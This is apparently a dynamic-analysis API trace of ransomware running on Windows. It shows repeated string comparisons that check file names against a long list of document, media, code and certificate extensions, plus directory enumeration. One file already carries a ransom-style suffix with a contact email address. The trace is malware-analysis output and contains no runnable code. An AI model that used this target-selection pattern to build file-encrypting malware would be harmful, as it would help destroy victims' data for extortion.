	[0159.358] lstrlenW (lpString=".doc") returned 4
	[0159.358] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".docm") returned 5
	[0159.358] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0159.358] lstrlenW (lpString=".docx") returned 5
	[0159.358] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dot") returned 4
	[0159.358] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dotm") returned 5
	[0159.358] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dotx") returned 5
	[0159.358] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dpx") returned 4
	[0159.358] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dqy") returned 4
	[0159.358] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dsn") returned 4
	[0159.358] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dt") returned 3
	[0159.358] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0159.358] lstrlenW (lpString=".dtd") returned 4
	[0159.358] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dwg") returned 4
	[0159.358] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dwt") returned 4
	[0159.358] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".dx") returned 3
	[0159.358] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0159.358] lstrlenW (lpString=".dxf") returned 4
	[0159.358] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0159.358] lstrlenW (lpString=".edml") returned 5
	[0159.358] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0159.359] lstrlenW (lpString=".efd") returned 4
	[0159.359] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".elf") returned 4
	[0159.359] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".emf") returned 4
	[0159.359] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".emz") returned 4
	[0159.359] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".epf") returned 4
	[0159.359] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".eps") returned 4
	[0159.359] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".epsf") returned 5
	[0159.359] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0159.359] lstrlenW (lpString=".epsp") returned 5
	[0159.359] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0159.359] lstrlenW (lpString=".erf") returned 4
	[0159.359] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".exr") returned 4
	[0159.359] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".f4v") returned 4
	[0159.359] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".fido") returned 5
	[0159.359] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0159.359] lstrlenW (lpString=".flm") returned 4
	[0159.359] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".flv") returned 4
	[0159.359] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".frm") returned 4
	[0159.359] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".fxg") returned 4
	[0159.359] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".geo") returned 4
	[0159.359] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".gif") returned 4
	[0159.359] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0159.359] lstrlenW (lpString=".grs") returned 4
	[0159.359] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".gz") returned 3
	[0159.360] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0159.360] lstrlenW (lpString=".h") returned 2
	[0159.360] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0159.360] lstrlenW (lpString=".hdr") returned 4
	[0159.360] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".hpp") returned 4
	[0159.360] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".hta") returned 4
	[0159.360] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".htc") returned 4
	[0159.360] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".htm") returned 4
	[0159.360] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".html") returned 5
	[0159.360] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0159.360] lstrlenW (lpString=".icb") returned 4
	[0159.360] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".ics") returned 4
	[0159.360] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".iff") returned 4
	[0159.360] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".inc") returned 4
	[0159.360] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".indd") returned 5
	[0159.360] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0159.360] lstrlenW (lpString=".ini") returned 4
	[0159.360] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".iqy") returned 4
	[0159.360] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".j2c") returned 4
	[0159.360] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".j2k") returned 4
	[0159.360] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0159.360] lstrlenW (lpString=".java") returned 5
	[0159.360] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0159.360] lstrlenW (lpString=".jp2") returned 4
	[0159.360] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".jpc") returned 4
	[0159.361] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".jpe") returned 4
	[0159.361] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".jpeg") returned 5
	[0159.361] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0159.361] lstrlenW (lpString=".jpf") returned 4
	[0159.361] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".jpg") returned 4
	[0159.361] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".jpx") returned 4
	[0159.361] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".js") returned 3
	[0159.361] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0159.361] lstrlenW (lpString=".jsf") returned 4
	[0159.361] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".json") returned 5
	[0159.361] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0159.361] lstrlenW (lpString=".jsp") returned 4
	[0159.361] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".kdc") returned 4
	[0159.361] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".kmz") returned 4
	[0159.361] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".kwm") returned 4
	[0159.361] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".lasso") returned 6
	[0159.361] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0159.361] lstrlenW (lpString=".lbi") returned 4
	[0159.361] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".lgf") returned 4
	[0159.361] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".lgp") returned 4
	[0159.361] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".log") returned 4
	[0159.361] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0159.361] lstrlenW (lpString=".m1v") returned 4
	[0159.361] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".m4a") returned 4
	[0159.362] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".m4v") returned 4
	[0159.362] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".max") returned 4
	[0159.362] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".md") returned 3
	[0159.362] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0159.362] lstrlenW (lpString=".mda") returned 4
	[0159.362] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mdb") returned 4
	[0159.362] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mde") returned 4
	[0159.362] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mdf") returned 4
	[0159.362] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mdw") returned 4
	[0159.362] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mef") returned 4
	[0159.362] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mft") returned 4
	[0159.362] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mfw") returned 4
	[0159.362] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mht") returned 4
	[0159.362] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mhtml") returned 6
	[0159.362] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mka") returned 4
	[0159.362] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mkidx") returned 6
	[0159.362] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mkv") returned 4
	[0159.362] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mos") returned 4
	[0159.362] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0159.362] lstrlenW (lpString=".mov") returned 4
	[0159.362] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".mp3") returned 4
	[0159.363] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".mp4") returned 4
	[0159.363] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".mpeg") returned 5
	[0159.363] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0159.363] lstrlenW (lpString=".mpg") returned 4
	[0159.363] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".mpv") returned 4
	[0159.363] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".mrw") returned 4
	[0159.363] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".msg") returned 4
	[0159.363] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".mxl") returned 4
	[0159.363] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".myd") returned 4
	[0159.363] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".myi") returned 4
	[0159.363] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".nef") returned 4
	[0159.363] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".nrw") returned 4
	[0159.363] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".obj") returned 4
	[0159.363] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".odb") returned 4
	[0159.363] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".odc") returned 4
	[0159.363] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".odm") returned 4
	[0159.363] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".odp") returned 4
	[0159.363] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".ods") returned 4
	[0159.363] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0159.363] lstrlenW (lpString=".oft") returned 4
	[0159.364] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".one") returned 4
	[0159.364] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".onepkg") returned 7
	[0159.364] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0159.364] lstrlenW (lpString=".onetoc2") returned 8
	[0159.364] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0159.364] lstrlenW (lpString=".opt") returned 4
	[0159.364] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".oqy") returned 4
	[0159.364] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".orf") returned 4
	[0159.364] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".p12") returned 4
	[0159.364] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".p7b") returned 4
	[0159.364] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".p7c") returned 4
	[0159.364] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pam") returned 4
	[0159.364] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pbm") returned 4
	[0159.364] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pct") returned 4
	[0159.364] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pcx") returned 4
	[0159.364] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pdd") returned 4
	[0159.364] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pdf") returned 4
	[0159.364] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pdp") returned 4
	[0159.364] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pef") returned 4
	[0159.364] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pem") returned 4
	[0159.364] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0159.364] lstrlenW (lpString=".pff") returned 4
	[0159.365] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pfm") returned 4
	[0159.365] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pfx") returned 4
	[0159.365] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pgm") returned 4
	[0159.365] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".php") returned 4
	[0159.365] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".php3") returned 5
	[0159.365] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0159.365] lstrlenW (lpString=".php4") returned 5
	[0159.365] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0159.365] lstrlenW (lpString=".php5") returned 5
	[0159.365] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0159.365] lstrlenW (lpString=".phtml") returned 6
	[0159.365] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pict") returned 5
	[0159.365] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pl") returned 3
	[0159.365] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0159.365] lstrlenW (lpString=".pls") returned 4
	[0159.365] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pm") returned 3
	[0159.365] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0159.365] lstrlenW (lpString=".png") returned 4
	[0159.365] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pnm") returned 4
	[0159.365] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".pot") returned 4
	[0159.365] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0159.365] lstrlenW (lpString=".potm") returned 5
	[0159.365] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0159.365] lstrlenW (lpString=".potx") returned 5
	[0159.365] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0159.365] lstrlenW (lpString=".ppa") returned 4
	[0159.365] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".ppam") returned 5
	[0159.366] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0159.366] lstrlenW (lpString=".ppm") returned 4
	[0159.366] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".pps") returned 4
	[0159.366] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".ppsm") returned 5
	[0159.366] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0159.366] lstrlenW (lpString=".ppt") returned 4
	[0159.366] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".pptm") returned 5
	[0159.366] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0159.366] lstrlenW (lpString=".pptx") returned 5
	[0159.366] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0159.366] lstrlenW (lpString=".prn") returned 4
	[0159.366] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".ps") returned 3
	[0159.366] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0159.366] lstrlenW (lpString=".psb") returned 4
	[0159.366] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".psd") returned 4
	[0159.366] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".pst") returned 4
	[0159.366] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".ptx") returned 4
	[0159.366] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".pub") returned 4
	[0159.366] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".pwm") returned 4
	[0159.366] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".pxr") returned 4
	[0159.366] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0159.366] lstrlenW (lpString=".py") returned 3
	[0159.366] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0159.366] lstrlenW (lpString=".qt") returned 3
	[0159.366] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0159.367] lstrlenW (lpString=".r3d") returned 4
	[0159.367] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0159.367] lstrlenW (lpString=".raf") returned 4
	[0159.367] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0159.367] lstrlenW (lpString=".rar") returned 4
	[0159.367] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0159.367] lstrlenW (lpString=".raw") returned 4
	[0159.367] lstrcmpiW (lpString1=".raw", lpString2="].Z9") returned -1
	[0159.367] FindNextFileW (in: hFindFile=0x76ed28, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x34af96d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34af96d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34af96d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DESKTO~1.Z9")) returned 0
	[0159.367] FindClose (in: hFindFile=0x76ed28 | out: hFindFile=0x76ed28) returned 1
	[0159.367] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0159.367] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x630371ce, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x630371ce, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0159.367] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0159.367] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0159.367] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0159.367] FindNextFileW (in: hFindFile=0x76ec68, lpFindFileData=0x2fafcf8 | out: lpFindFileData=0x2fafcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x397af68b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0159.367] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38a0958
	[0159.367] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x397af68b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0159.592] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x397af68b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0159.593] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0159.593] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0159.593] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76ed68
	[0159.596] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x34d5bca3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34d5bca3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
